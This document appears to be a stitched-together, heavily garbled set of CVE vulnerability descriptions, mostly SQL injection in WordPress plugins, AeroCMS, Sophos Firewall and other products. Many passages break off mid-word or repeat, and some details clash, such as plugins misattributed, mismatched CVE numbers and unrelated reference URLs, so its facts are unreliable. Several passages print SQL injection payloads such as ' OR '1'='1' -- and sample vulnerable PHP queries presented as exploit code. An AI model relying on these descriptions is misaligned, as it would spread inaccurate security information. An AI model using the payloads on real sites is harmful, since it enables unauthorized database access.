Administrators with author privileges sending a specially crafted request to the WordPress site with a malicious 'addCountS' POST parameter to the 'Contest-Gallery' or 'Contest-Gallery Pro' plugin before version 19.1.5.1. This vulnerability arises from the plugin's failure to properly escape the 'cg_multiple_files_for_post' POST parameter before concatenating it to an SQL query, which could lead to unauthorized database access.

The 'Contest-Gallery' or 'Contest-Gallery Pro' plugin before version 19.1.5.1. This vulnerability arises from the plugin's failure to properly escape the 'cg_multiple_files_for_post' POST parameter before concatenating it to an SQL query, which could lead to unauthorized database access.

Administrators with author privileges sending a specially crafted request to the WordPress site with a malicious 'addCountS' POST parameter to the 'Contest-Gallery' or 'Contest-Gallery Pro' plugin before version 19.1.5.1. This vulnerability arises from the plugin's failure to properly escape the 'cg_multiple_files_for_post' POST parameter before concatenating it to an SQL query, which could lead to unauthorized database access.

n.com/vulnerability/57fff222-2c64-4b52-86cd-ab8db4541627

perform an SQL injection attack, which may lead to the leakage of sensitive information from the site's database. An attacker can use the Contest Gallery plugin to craft a specially engineered request including SQL injection payloads.

CVE-2022-4163.

This vulnerability affects plugin versions before 19.1.5.1 and the Contest Gallery Pro WordPress plugin versions before 19.1.5.1. An attacker with at least author-level privilege on the WordPress site where the vulnerable Contest Gallery plugins are installed can exploit this issue. Both patches were released to address the issue described in CVE-2022-4163 as of version 19.1.5.1.

https://bulletin.iese.de/post/contest-gallery_19-1-4-1_10 - <https://wpscan.com/vulnerability/de0d7db7-f911-4163>
An attacker can exploit this vulnerability by visiting the affected WordPress site and sending crafted POST requests containing malicious SQL code to '2_deactivate.php' or '4_activate.php'. Escaping user inputs ensures that any changes made by the attacker are properly escaped, preventing them from injecting malicious SQL code into the database. Escaping user inputs ensures that any changes made by the attacker are properly escaped, preventing them from injecting malicious SQL code into the database.

Exploit the vulnerability CVE-2022-4162.

This vulnerability might occur when a malicious author constructs a POST request sending an 'cg_row' parameter crafted to affect both the Contest Gallery Pro WordPress plugin and the Contest Gallery Pro WordPress plugin to version 19.1.5.1 or later, which is affected by CVE-2022-4161. An attacker with at least author privileges on a WordPress site using the affected plugins can exploit this issue to gain unauthorized access, modify, or delete data in the database.

Exploit the vulnerability CVE-2022-4161.

This vulnerability affects plugin versions before 19.1.5.1. An attacker with at least author privileges on a WordPress site using the affected plugins can exploit this issue to gain unauthorized access, modify, or delete data in the database.

Exploit the vulnerability CVE-2022-4160.

https://bulletin.iese.de/post/contest-gallery_19-1-4-1_16 - <https://wpscan.com/vulnerability/a66af8f7-4160>
An attacker can exploit this vulnerability by visiting the affected WordPress site and submitting a crafted request with the 'cg_copy_start' POST parameter before it is concatenated into an SQL query. This is a security flaw that can lead to SQL injection attacks on the WordPress site.

This vulnerability affects plugin versions before 19.1.5.1. An attacker with at least author privileges on a WordPress site using the affected plugins can exploit this issue to gain unauthorized access, modify, or delete data in the database. Specifically, if an attacker sends a specially crafted request with malicious SQL code in the 'cg_copy_id' POST parameter, they can inject SQL queries through the 'cg_copy_id' POST parameter. The attacker can use this to bypass security measures and gain unauthorized access to the database.

https://bulletin.iese.de/post/contest-gallery_19-1-4-1_14 and <https://wpscan.com/vulnerability/813de343-4160>
An attacker can exploit this vulnerability by visiting the affected WordPress site and submitting a crafted request with the 'cg_id' POST parameter. This is a security flaw that can lead to SQL injection attacks on the WordPress site.

An attacker with at least author privileges on a WordPress site using the affected plugins can exploit this issue to gain unauthorized access, modify, or delete data in the database.

https://bulletin.iese.de/post/contest-gallery_19-1-4-1_8 and <https://wpscan.com/vulnerability/2e993280-1007-4e9d-813de343-4160>
An attacker with at least author privileges on a WordPress site using the affected plugins can exploit this issue to gain unauthorized access, modify, or delete data in the database. Specifically, if an attacker sends a specially crafted request with malicious SQL code in the 'cg_id' POST parameter, they can inject SQL queries through the 'cg_id' POST parameter. The attacker can use this to bypass security measures and gain unauthorized access to the database.

WordPress plugin versions before 19.1.5.1, and the Contest Gallery Pro WordPress plugin before 19.1.5.1.

to manipulate SQL queries by injecting malicious SQL code. This might enable the attacker to access, modify or delete data in the database such as user passwords, personal information, or financial records. Attackers could also extract sensitive information provided. The Base Score is typically part of the Common Vulnerability Scoring System (CVSS). The vulnerability was assigned a CVSS score of 7.5 before 19.1.5.1 and the Contest Gallery Pro WordPress plugin versions before 19.1.5.1. The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

The request that includes the 'cg_Fields' parameter with crafted SQL code. Due to the lack of proper sanitization, the database such as user passwords, personal information, or financial records. Attackers could also extract sensitive information provided. The Base Score is typically part of the Common Vulnerability Scoring System (CVSS). The vulnerability was assigned a CVSS score of 7.5 before 19.1.5.1 and the Contest Gallery Pro WordPress plugin versions before 19.1.5.1. The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

The vulnerability was assigned a CVSS score of 7.5 before 19.1.5.1 and the Contest Gallery Pro WordPress plugin versions before 19.1.5.1. The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

The vulnerability exists when user input is not properly sanitized before being used in SQL queries, thus allowing attackers to execute arbitrary SQL queries. This could lead to sensitive information disclosure, data theft or other malicious activities.

publicly released for CVE-2022-4153. However, a hypothetical code snippet demonstrating an SQL injection is CVE-2022-4152.

I the Contest Gallery Pro WordPress plugin before 19.1.5.

2 to leak sensitive information from the site's database.

_id' POST parameter before it is concatenated into an SQL query, potentially leading to leakage of sensitive

ly crafted HTTP POST request to the 'edit-options.php' file of the vulnerable plugin, with the 'option_id' value set to 'bulletin.iese.de/post/contest-gallery_19-1-4-1_4- https://wpscan.com/vulnerability/4b058966-0859-'. This means that the attacker needs to be aware of the provided information.

ress plugin and the Contest Gallery Pro WordPress plugin to version 19.1.5 or later, which contain the fix for this vulnerability. The Contest Gallery Pro plugin and its Pro version up to, but not including, version 19.1.5.1. This vulnerability arises from improper handling of user input. An attacker crafting a malicious POST request to the 'edit-options.php' file of the plugin before version 19.1.5.1, as well as the Contest Gallery Pro WordPress plugin before version 19.1.5.1, will be able to leak sensitive information from the site's database. Depending on the data stored, this might include user credentials and other sensitive information.

nerable SQL query in PHP might look like this: ````php\$option_id = \$_GET['option_id'];\$query = 'SELECT * FROM wp_options WHERE option_name = 'contest-gallery' AND option_value = '\$option_id';\$result = \$wpdb->get_results(\$query);if (\$result) {foreach (\$result as \$row) {echo \$row->option_value;}}}'''. This means that the attacker needs to be aware of the provided information. References for this CVE include:- https://bulletin.iese.de/post/contest-gallery_pro_wordpress_v19.1.5.1. The Contest Gallery Pro plugin and its Pro version up to, but not including, version 19.1.5.1. This vulnerability arises from improper handling of user input. An attacker crafting a malicious POST request to the 'edit-options.php' file of the plugin before version 19.1.5.1, as well as the Contest Gallery Pro WordPress plugin before version 19.1.5.1, will be able to leak sensitive information from the site's database. Depending on the data stored, this might include user credentials and other sensitive information.

er or an admin within the Planet eStream system.

es to access all records stored in the database and to execute arbitrary SQL commands, potentially leading to data loss or corruption. The exploit involves sending a specially crafted HTTP request to the 'StatisticsResults.aspx' page with a malicious 'flt' parameter. This allows the attacker to potentially read sensitive data from the database, modify or delete information, disrupt the operations of the system, or even execute arbitrary SQL commands. This exploit is part of the Common Vulnerability Scoring System (CVSS) used to rate the severity of security vulnerabilities. The exploit has a CVSS score of 9.8, indicating a critical severity level.

An affected client application can be exploited by an attacker to gain unauthorized access to the database. This can lead to unauthorized data modification or deletion. It is recommended to upgrade to version 5.3.1 or later to mitigate the vulnerability.

at the following URL: <https://lists.apache.org/thread/l5rz7j4rg10o7ywtgknh2f5hxnv6yw3l>

ed MySQL client to connect to the ShardingSphere-Proxy. After intentionally failing the authentication process, the client will attempt to connect to the proxy again. The proxy will then validate the connection using the established connector.

the lack of user validity verification on certain PHP pages to read the state of electrical outlets controlled by the system. It is recommended to upgrade to version 1.42.06162022 or later to mitigate the vulnerability.

specifically at the advisory URL: <https://www.cisa.gov/uscert/ics/advisories/icsa-22-263-03>.
viduals reading the status of power outlets, which could lead to further exploitation such as controllir

ue can be conceptually illustrated. Consider a PHP script that is supposed to show the status of a powe

g versions up to 5.2.0.

ld potentially allow an attacker to access external entities leading to sensitive data exposure or service
e Score was not specified.

ice to version 5.2.1 or later. A specific patch identified by the commit hash '246f4e2a97ad81491c00a7e
/ Database OGC Web Feature Service, specifically at the commit '246f4e2a97ad81491c00a7ed72ce5e7
them to read files from the server, access internal networks, interfere with server processing, or perfo
cludes a reference to an external entity. However, as specific details about the vulnerability and the sy

rough the provided commit and pull request links as well as the release tag for version 5.2.1. Additional
prior to V7.0 that involves the transmission of database credentials for the inbuilt SQL server in clearte
re V7.0.

exploiting the vulnerability to execute custom OS commands. This is made possible because the database
om V7.0. The versions prior to V7.0 are vulnerable, and users are advised to upgrade to a secure versio
ccessible through the provided link: <https://cert-portal.siemens.com/productcert/pdf/ssa-849072.pdf>
otocol functionality of Cisco ATA 190 Series Analog Telephone Adapter firmware. This vulnerability cou
acket to an affected device. Since the vulnerability stems from missing length validation checks, a spec
promise the internal Cisco Discovery Protocol database integrity. This memory corruption could poten
malicious Cisco Discovery Protocol packet to the affected device. Being adjacent typically means shari

page: <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivu>
to prevent misuse. However, the exploitation would involve crafting a malicious Cisco Discovery Prot
ework segment as the affected device. They could craft and send a malformed Cisco Discovery Protoco
nctionality of Cisco ATA 190 Series Analog Telephone Adapter firmware. These vulnerabilities could all
acket to an affected device without proper length validation checks, leading to an out-of-bounds read
to the affected device, which typically means being on the same physical network segment.

on in the Cisco Discovery Protocol database of the affected device. This may lead to a denial of service
2-20689 are not typically shared publicly to prevent abuse. Responsible disclosure means that details :

page at the following URL: <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cis>
termine the severity of the CVE, refer to the CVSS (Common Vulnerability Scoring System) score provi
Cisco ATA 190 Series devices could craft and send specially designed Cisco Discovery Protocol packets ,

ects Business Intelligence Platform, specifically version 430.

npackt on integrity, and a low impact on availability of the system.
elligence Platform.

gained authenticated access as a CMS administrator and with high privileges to the network. They cou
AP Support Launchpad at <https://launchpad.support.sap.com/#/notes/3213507> and in the SAP docum

·31596.

ally affecting versions up to 6.5.1. It pertains to an SQL Injection loophole within the surveys module of the Interspire Email Marketer application. An attacker could craft malicious SQL queries that, in conjunction with user input, could lead to unauthorized access or data manipulation. A detailed explanation about the vulnerability and mitigation advice can be found at their official security bulletin page regarding the SQL injection vulnerability within the Interspire Email Marketer application.

'ected Interspire Email Marketer application could be at risk. This may include personal user data, cred-
itting a survey request with a malicious SQL code snippet in the survey ID field, such as: '/survey.php?i
ould immediately prioritize updating their software to the latest version that patches this vulnerability.
e Code Execution (RCE) when using YAML serialized columns in versions of Active Record earlier than

0.3.1, 6.1.6.1, 6.0.5.1, and 5.2.8.1.

ries/GHSA-3hhc-qp5v-9p2j) and a Ruby on Rails security group notification (<https://groups.google.com>) who can manipulate database data, for instance through an SQL injection vulnerability, to escalate the To determine the latest and exact base score, one should consult the official CVE databases or security o has discovered an SQL injection vulnerability in a web application that uses a vulnerable version of A itoring and fault management platform. It is a command injection vulnerability that allows an unautho >_agent.php' file by sending maliciously crafted headers. Particularly, the attacker can set 'HTTP_` serv vulnerability has been patched. The patch involves not honoring the `HTTP_...` `\$_SERVER` variables to n both the 1.2.x and 1.3.x release branches with version 1.2.23 being the first release containing the p note_agent.php' file with a header such as 'Forwarded-For: <SERVER_IP>', tricking the 'get_client_adc ity flaw that allows an attacker to execute arbitrary commands on the host operating system through tory and a security advisory. Here are the links to these references: - <https://github.com/Cacti/cacti/co>

nal cloud server. This vulnerability arises from the lack of validation before writing calendar name length.

· 2022-41968 vulnerability.

is of Nextcloud Server is recommended.

oud's security advisories on GitHub (<https://github.com/nextcloud/security-advisories/security/advisc>)
Server, where calendar name lengths were not validated before being written to a database.
idation for calendar name lengths by sending large amounts of data to the server. This could potential
vided information. However, as there is a HackerOne report link (<https://hackerone.com/reports/1596>)

ain versions of Sophos Firewall. This vulnerability could allow authenticated users to read non-sensitivity CVE-2022-3711.

official website under the security advisories section, specifically at this URL: <https://www.sophos.com/en-us/experts/advisories/>. This advisory details how an attacker could exploit the read-only SQL injection vulnerability to access non-sensitive data from the configuration database. It is important to note that Sophos Firewall versions 19.5 GA and earlier are vulnerable. The advisory also includes a warning about the potential for privilege escalation if an attacker can gain control of the device. Sophos has released patches for affected versions, so it is recommended to apply them as soon as possible.

→ read non-sensitive configuration database contents through SQL injection.

by advisory provided by Sophos at: <https://www.sophos.com/en-us/security-advisories/sophos-sa-202>

ig crafted SQL queries within the firewall's API. By exploiting the SQL injection vulnerability, the attack 5 GA. Users are advised to update to this version or later to mitigate the issue.

nt, meaning that they must have legitimate access credentials to exploit the read-only SQL injection vulnerability to Command Injection. This vulnerability could allow a remote adversary with control over the execution of arbitrary commands by a remote adversary, the vulnerability could be considered highly severe.

inds website or in the security advisories issued by SolarWinds. Relevant links include the SolarWinds command injection vulnerability by first taking control of the SolarWinds database. After gaining control, it is generally considered unsafe and unethical to share exploit code for vulnerabilities especially those injection vulnerability that is present through the Search parameter. This flaw potentially permits attackers to work by exploiting the Search parameter. An attacker may manipulate the Search input field by injecting a sample of a SQL injection might look like this: ````\$searchTerm = \$_GET['search'];\$sql = "SELECT * FROM Iember 2022.

age at the following link: <https://github.com/rdyx0/CVE/blob/master/AeroCMS/AeroCMS-v0.0.1-SQL> sensitive data such as usernames, passwords, and personal user details from the database. This vulnerability indicates that either it was not rated by the Common Vulnerability Scoring System (CVSS) at that time or it is not listed in the CVSS. All WordPress plugin versions before 1.3. This vulnerability lacks the necessary Cross-Site Request Forgery (CSRF) protection. The affected plugin is the 'Replace All' WordPress plugin.

utes unwanted actions on a WordPress site where an administrator who is logged in visits that page or

se, at the following URL: <https://wpscan.com/vulnerability/8ae42ec0-7e3a-4ea5-8e76-0aae7b92a8e9>. The plugin developer released a new version of the plugin (1.3 or later) that includes the necessary CSRF checks to mitigate this issue. An administrator who is currently logged into their WordPress dashboard. An attacker could send the admin a temporary file named 'tmpdir' containing malicious code, which would be executed when the administrator reads or writes to it. This issue affects Unix-like operating systems because temporary files are created using the MPXJ library on Unix-like operating systems. Since the temporary files are created with a random name, it is difficult to predict them. The issue was patched in version 10.14.1 and later, which includes the necessary changes to address the issue.

This vulnerability was reported in CVE-2022-41954 by setting the 'java.io.tmpdir' system property to a secure directory while the application is scanning the tmp directory for files created by MPXJ, which are identifiable and readable due to their specific naming convention. The affected plugin is 'Replace All' WordPress plugin, which is used for managing project plans. The vulnerability arises from the way the plugin handles temporary files. However, the vulnerability affects versions prior to the recommended upgrade versions, which are 10.14.1 and later. The recommended action is to upgrade the Nextcloud Server to a version that has addressed this issue. This vulnerability can lead to a denial of service (DoS). Malicious users could exploit the vulnerability by setting excessively long display names when creating or updating a user account with a display name that is excessively long or complex, thereby attacking the system. This vulnerability lies within the 'Replace All' WordPress plugin. Additional details and updates can be found on official security advisory pages and the National Vulnerability Database.

This targets the aerdl.dll unpacker handler, causing it to crash. This results in a scanning engine crash, which occurred before the channel update with Capricorn database version 2022-11-22_07.

This is accessible via the provided reference link: <https://www.f-secure.com/en/home/support/security>

t designed to exploit the vulnerability in the aerdl.dll unpacker handler. This could be done by sending when reading configuration files, which can lead to the disclosure of database passwords. It was advised particularly database passwords. This could allow attackers unauthorized access to databases, which n 1e affected software. Doing so should resolve the issue where tasks reading configuration files could ir

<http://apache.org/thread/z7084r9cs2r26cszkkjqpib5bhnxqssp>

ill them with tables in the database by using a crafted user identifier in the login form, potentially lead .4.6RC1, and 14.4.2. Users are advised to upgrade to one of these versions to resolve the issue. ed version of XWiki is the recommended solution.

ty advisories page at <https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-4x5r-6v26-7j>.
: degradation of the database by forcing XWiki to create many unnecessary schemas and tables. This c

scenario could involve an attacker crafting a malicious user identifier that, when inputted into XWiki's Local Configuration API prior to version 1.4.1, a malicious immudb server can provide a falsified proof that would be accepted by the update to version 1.4.1 or later, which contains a patch for this vulnerability.

this version or later to ensure that they are protected from this vulnerability.

and or malicious immudb server. The attacker-controlled server could provide the client's SDK with a forged immudb, under the security advisories section. Relevant detail can be accessed via the following links: security flaw found in Maarch RM 2.8. It is an authenticated SQL Injection vulnerability located in the software. Maarch RM is a Records Management system designed to manage electronic documents and files.

Attacker with valid credentials to inject SQL queries into the application via a vulnerable parameter, potentially disclose all databases connected with Maarch RM 2.8 through an SQL Injection attack. The injection attacks to potentially read, modify, or delete data from the databases connected to Maarch RM 2.8.

<http://maarch.com>, and a detailed explanation of the vulnerability along with an example can be found at [7773](https://nvd.nist.gov/vuln/detail/7773). The Base Score generally reflects the severity of a vulnerability, but not every vulnerability has a score. An example of a low-severity vulnerability is [RM 2.8](https://nvd.nist.gov/vuln/detail/7773) which sends a specially crafted HTTP request to the /statistics/retrieve page. The request is as follows:

5 version 0.0.1. The issue arises due to insufficient input validation of the id parameter in the admin/p

of database contents, which can lead to data theft, loss of data integrity, and in some cases, control over the system. The URL for the exploit code is: https://github.com/rdyx0/CVE/blob/master/AeroCMS/AeroCMS-v0.0.1-SQLi/post_comments_sql_injection.php. The exploit code demonstrates the injection of the vulnerability type found in CVE-2022-45536 would resemble the following PHP code snippet:

```
crafting a malicious URL with a specially crafted 'id' parameter that includes SQL injection payloads to trigger the vulnerability. The exploit code is as follows:
```

```
<?php $id = $_GET['id']; $comment = " OR 1=1"; $query = "SELECT * FROM comments WHERE id=$id AND comment=$comment"; $result = mysqli_query($conn, $query); $row = mysqli_fetch_assoc($result); echo $row['comment']; ?>
```

The exploit code injects the value ' OR 1=1' into the 'comment' field of the query, effectively bypassing the input validation and executing a SQL injection attack.

ckers can exploit this vulnerability to manipulate SQL queries by injecting malicious SQL code. This could in AeroCMS v0.0.1 could resemble the following (this is a conceptual example for educational purposes):

Patches or updates provided by the AeroCMS developers.

2. Input Validation: Ensure all user-supplied data is validated before being used in database queries. The links are to a GitHub repository containing a write-up and a blog post that give details on how to mitigate this issue.

The vulnerability is a SQL Injection issue that arises through the 'post_category_id' parameter in the admin commands. This can be exploited to execute arbitrary SQL commands through the 'post_category_id' parameter in the edit_post.php page of the AeroCMS admin interface.

formation can be found in the following URLs:- <https://github.com/rdyx0/CVE/blob/master/AeroCMS/>.
vulnerable 'post_category_id' parameter is directly included in a SQL query like this:\$query = 'SELECT
positive data from the database, like user credentials or personal information. They could also modify or
AeroCMS software to a fixed version, if one is available.2. Apply any provided patches from the AeroCM.
vulnerability involves a SQL Injection attack via the 'p_id' parameter on the 'post.php' page. It allows an
parameter value in the HTTP request to the 'post.php' page of AeroCMS. Attackers can insert or 'inject'
SQL queries, which can lead to several adverse effects such as unauthorized viewing of data, deletion or

dyx0/CVE/blob/master/AeroCMS/AeroCMS-v0.0.1-SQLi/post_sql_injection/post_sql_injection.md- ht

be as follows: ```// Original SQL Query assuming 'id' is the vulnerable parameter:SELECT * FROM posts \ authentication mechanisms, retrieve sensitive information such as user passwords or personal data, resulting in a SQL injection vulnerability. This flaw occurs because user input is not properly sanitized, allowing an attacker to inject SQL commands that are executed by the 'category.php' page of AeroCMS v0.0.1. The attacker would craft a specially designed input that includes a SQL injection payload like '1' OR '1'='1' -- '. By inserting this into the 'Category' parameter, an attacker can achieve unauthorized viewing of sensitive data within the database, altering database entries, deleting data, and so on. A detailed write-up of the exploit is available in the repository at <https://github.com/rdvx0/CVE/blob/master/AeroCMS/AeroCMS-v0.0.1-SQLi/category>.

Address this SQL Injection vulnerability. If no update is available, defensive measures such as input validation or graphic proof and verification.

ever's UUID that is used to distinguish between different server instances. A malicious server could ex-

a forged UUID to the client. This could trick the client into accepting an incorrect server state, potentially possible, is to initialize an immudb client object with a custom state handler for storing the serve

| Connectivity Package (ConnPack) credential storage function in Hitachi Energy's PCM600 product. In t

rmation, where credentials of Intelligent Electronic Devices (IEDs) are stored in cleartext, potentially a
up file of the PCM600 database. By obtaining the cleartext credentials stored in that file, the attacker c
notifications to Intelligent Electronic Devices, incorrect configuration loadings, device reboots, or a de
sers should visit the provided link to check for available firmware/software updates and recommende

re. This vulnerability exists in versions prior to 0.44.5, 1.44.5, 0.43.7, 1.43.7, 0.42.6, 1.42.6, 0.41.9, and
erability allows Remote Code Execution (RCE) through the H2 database, a malicious user with the abili
.42.6, 0.41.9, and 1.41.9 of Metabase. Users of Metabase are encouraged to update to these versions.
If exploited, it can give attackers the ability to execute arbitrary code on the system running the vuln
rage for Metabase, specifically at the following URL: '<https://github.com/metabase/metabase/security>'
of the software that address the vulnerability. These versions restrict the ability to run DDL statement
and including 1.2.0 when used with the MySQL Connector/J. The vulnerability arises when an attacke
; used with a vulnerable version of Apache Linkis, and then configuring a JDBC Execution Code (EC) wit
3.0, as this version is not affected by the vulnerability. Additionally, it is advised to restrict database wi

not appropriate. Generally, such a URL might include certain parameters that trigger deserialization o
ive at <https://lists.apache.org/thread/rxytj48q17304snonjtyt5lnlw64gcc>, where the vulnerability was
y when using the feathers-sequelize package. It involves improper input validation which can lead to a
rs to perform a SQL injection attack. This means that an attacker could potentially access, modify, or d

URLs: <https://csirt.divd.nl/CVE-2022-2422> and <https://csirt.divd.nl/DIVD-2022-00020>.

n the provided information. However, it is associated with the usage of the feathers-sequelize package
e used in their Feathers js application has proper input validation mechanisms in place to prevent SQL i
E-2022-2422 SQL injection attack if proper input validation is not implemented: ````javascriptconst feath
de. They could send this as part of an API request to an endpoint that interacts with the feathers-sequ
i versions prior to 1.7.9. This vulnerability is a SQL Injection issue that arises from the plugin's imprope
. Users of the plugin are advised to update to version 1.7.9 or later to mitigate this security risk.

potential SQL Injection vulnerability. This could allow attackers, who have been given permission to p
ich can result in data breaches, data loss, and potentially compromise the entire WordPress website.
tabase for WordPress, providing detailed information about the vulnerability. The reference can be fo
f Dependency-Track, an open source software supply chain Component Analysis platform. This vulnera
350 by creating or editing a custom vulnerability and inserting XSS payloads in the Description, Details
ontend.

vulnerability databases used by Dependency-Track. An attacker might attempt to introduce malicious J
ater to mitigate the vulnerability described in CVE-2022-39350. This will encode or sanitize the output
ect view was not affected by CVE-2022-39350.

ker, a general example of an XSS payload that could exploit CVE-2022-39350 might look like the follow

lency-Track changelog, on the GitHub Security Advisory page for Dependency-Track frontend, and in th

on, leading to the possibility of SQL injection. This means a remote attacker could exploit this flaw to i
aches and compromise of personal or confidential data.

t's also important to regularly update systems with the latest security patches, restrict database perm
is a web form that accepts a username and passes it to a SQL query without proper sanitization. The a
R system and access a function that takes user input, such as a search feature or a data filtering option.
a certain function, which allows an unauthenticated remote attacker to exploit it by injecting arbitrary
user input validation.

nd potentially perform other malicious activities such as escalating privileges or carrying out a denial o
n (CVSS), but it appears that this metric is not available for this vulnerability at the time of publication.
<https://www.twinkl.com/cp-132-7601-71c94-1.html>.

using string concatenation user_input = '1 OR 1=1' # An attacker could inject this input
sql_query = 'SELECT * FROM users WHERE id = ' + user_input
to cause disruption of service, deleting critical data to inflict damage, or even using the SQL injection a
attacker can exploit this flaw to inject arbitrary SQL commands, which can lead to unauthorized acces

ly sanitizing the input, the attacker's SQL commands embedded in the message could be executed on t
ition checks. Users and administrators of ITPison OMICARD EDM should apply the patch as soon as it b
='1' --, which is an attempt to construct a SQL query that always evaluates to true. If the application do
connectionAsync (#/gettingstarted) which responds with a connection string that provides privileged a
base connection string. With this information, they can connect directly to the database and, if 'xp_cr

nds on various factors including the impact of the vulnerability and how easily it can be exploited.
<https://www.twinkl.com/cve2023~47261/>, and updates or changes related to Dokmee ECM can be checked at '<https://www.twinkl.com/cve2023~47261/>'. In this string, the attacker could gain elevated access to the database. With this access, they could potentially intercept the response from the /gettingStarted/SaveSQLConnectionAsync (#/gettingstarted endpoint). 2. Attacker intercepts the response and finds it to contain an SQL Injection vulnerability, which could be exploited by a remote low privilege user.

database, which could result in unauthorized read access to sensitive application data.

lead to unauthorized read access to application data, potentially compromising data integrity and conf
sa-2023-412-dell-technologies-powerprotect-security-update-for-multiple-security-vulnerabilities.
these requests, the attacker could manipulate the SQL queries processed by the application's backend d
ng an attacker to execute malicious SQL queries against the database.
t could be highly severe as it can lead to unauthorized access and manipulation of the database.

irm-announce/2023/000103.html and the SchedMD security archive: <https://www.schedmd.com/secu>

deleting records, and potentially gaining unauthorized access to the database's underlying system. This vulnerability is particularly dangerous because the specific vulnerable code are not provided, we can't give a concrete code example of the exploit. Typically, a SQL injection attack would involve crafting a query that inserts or updates data in the database.

firewall deny geolocalisation policy by timing the bypass with an update to the GeoIP database.

tail the attacker sending traffic during the update process when the geolocation checks might not be effective. In this case, users and administrators are advised to consult the official advisory for mitigations of a user who accesses the document. These document functions receive a user HTTP request or

content, potentially leveraging HTML-like output to leak the session component, inserting the session as a cookie, or exposing sensitive information.

HTML output might include an tag where the source is set to the attacker's server with the session ID as a parameter. This issue was first reported in the Apache Confluence security mailing list archives at <https://lists.apache.org/thread/pqjq9zt8vq9rsobkc1cow9sqm9vozlr>.

This issue affects versions 1.x and 2.0.x prior to 1.6.7 and 2.0.6 respectively. Specifically, this issue pertains to un

intended. While there's no mechanism for listing or file name/path traversal, if an attacker knows the file names or scripts that were meant to be ephemeral, leading to information disclosure, network compromise, or other attacks.

own_filename>` with the actual name of a file they wish to access. If the filename is known or correctly referenced in the references section, such as the relevant commits ('458280` and `7c4cf31`), pull requests (PRs `#4959` and `#5000`), or strict enough. This could potentially lead to the leakage of sensitive information stored in secrets and directly references another object; this reference uses the object's name as the key, which causes the entire configuration to be loaded. It is recommended to review the provided references or consult the official sources for the latest updates regarding patch or mitigation steps. Additionally, the security advisory link at '<https://github.com/labring/laf/security/>' provides detailed information, as well as to write data to a database table, which could ultimately lead to a mild impact.

-c68f7e60039b.html.

abase table. This could lead to a mild impact on system availability by increasing the response times of

ecially crafted requests to SAP GUI installations. By exploiting this vulnerability, the attacker could potentially inject JavaScript code into Web Intelligence documents, which could result in unauthorized access to sensitive data.

ng user has access to. In the worst-case scenario, the attacker could gain access to data from the underlying database and <https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html>.

they can carry out the JavaScript injection attack.

If adequate permissions are granted to access this document, the JavaScript code runs in their browser, potentially allowing authenticated attackers to read sensitive database data through SQL commands injected into the payload of the API request. They can potentially manipulate the underlying database and read information or expose sensitive information, data breaches, and in certain situations, could facilitate further attacks. It is crucial to implement proper access controls to ensure that only trusted and necessary users have the ability to interact with the affected API endpoint.

ied. Specifically, this vulnerability is caused by an integer overflow occurring during array modification.

This could allow the attacker to execute arbitrary code on the system by writing to memory locations

updates:- The Red Hat errata links provided in the CVE announcement.- The PostgreSQL website for operating this query, they could cause a buffer overrun, corrupting memory, which may lead to the execution of the SQL Injection Protocol (SDCP) during the enrollment process on Linux, which could allow attackers to enroll their own devices. The Windows Hello feature on 15 computers does not correctly authenticate configuration packets on Linux, thus enabling the selection of the device, affecting the security of Windows Hello authentication.

xploit the vulnerability by running a script or program under Linux that sends an unauthenticated configuration command to the device. The device uses a scoring system (e.g., Common Vulnerability Scoring System) which considers several factors like impact, exploitability, and scope. Since no base score

L injection attack.

lys MX web interface. If successful, the attacker could manipulate the backend database to read sensitive files at <https://edispartners.advisories/blob/master/ATREDIS-2023-0002.md>. Another source would be the official Zulipary fixes to prevent the SQL injection vulnerability.

If the user is logged in, the attacker could craft a request containing SQL statements such as 'OR '1'='1'; which would be executed on the PHP page. This flaw allows an external attacker to extract the contents of the database and bypass login verification if the user is first.

typically pose a high risk due to their potential to access, modify, or delete sensitive data from a database or unauthorized access to sensitive data within the Student Information System v1.0.

`10' parameter, which is vulnerable to SQL injection, the attacker could gain access to the database and age: 'index.php?regno=' OR '1'='1'. This is a classic example of a SQL Injection, where the attacker intro`

paration of SQL queries.

the attacker could append additional SQL commands to the existing query, potentially leading to unauthorized access or data manipulation.

=&reponame=&old=2976467%40burst-statistics&new=2976467%40burst-statistics&sfp_email=&sfp_h
JAX action. This flaw allows authenticated attackers, with subscriber-level access or higher, to access :

capability check, which could lead to unauthorized access to sensitive data like database credentials.
ss.

ould disable or remove the plugin until a security update is provided.

'2.8.7/admin/class-system-dashboard-admin.php#L7930- The plugin's Trac for version 2.8.8: <https://pl>

well as additional endpoints in the AudioController that might also be vulnerable.
ario without an additional information leak.

with additional arguments that eventually get passed to the FFmpeg command line.

ght be a means of overwriting an arbitrary file with malicious content.

ted request that includes malicious arguments in the 'videoCodec' or 'audioCodec' parameters. These
the affected endpoints. If the attacker guesses a valid itemId, this could lead to argument injection int
o inject malicious SQL commands into the application's backend database for execution.

nd manipulate the backend database engine to execute unauthorized commands or access data.

lake/cve-2023-48863/'.

om the database. For example, if the application accepts user input in a form field without proper sani
livation, parameterized queries, and prepared statements to prevent SQL Injection attacks. Regular se
, unauthenticated attackers, potentially exposing sensitive information such as database credentials.

llowing a thorough assessment.

'README-TylerTechnologies.md- TechCrunch article discussing vulnerabilities in the US court records s
cating such a backup, the attacker could download it without needing any authentication, potentially g
ie code snippet below represents a generalized example of how a configuration might lead to insecure
ly logged-in user.

lestroy data stored in the database.

affect operations that rely on that data.

ed with a snippet.

